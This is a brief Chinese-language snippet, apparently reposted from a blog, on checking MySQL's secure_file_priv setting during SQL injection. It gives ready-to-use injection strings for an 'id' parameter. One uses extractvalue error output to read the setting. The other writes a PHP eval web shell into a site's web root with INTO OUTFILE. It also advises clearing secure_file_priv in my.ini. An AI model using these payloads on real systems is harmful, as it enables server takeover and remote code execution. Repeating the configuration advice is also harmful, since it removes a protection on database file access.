show VARIABLES like ‘%secure%‘
sql注入中的使用方法
查询secure_file_priv权限 ?id=43 ) and extractvalue(1, concat(0x7e, (select @@global.secure_file_priv),0x7e)) --+( 写shell ?id=43 ) and extractvalue(1, concat(0x7e, (select “<?php @eval($_POST[‘pass‘]);?>” INTO OUTFILE “D:\wwwroot\xxx.com\Runtime\2.php”),0x7e)) --+(
如果不显示需要配置my.ini
添加secure_file_priv=""
查看mysql是否有文件读写权限，sql注入查询secure_file_priv权限
原文：https://www.cnblogs.com/iStu/p/14805969.html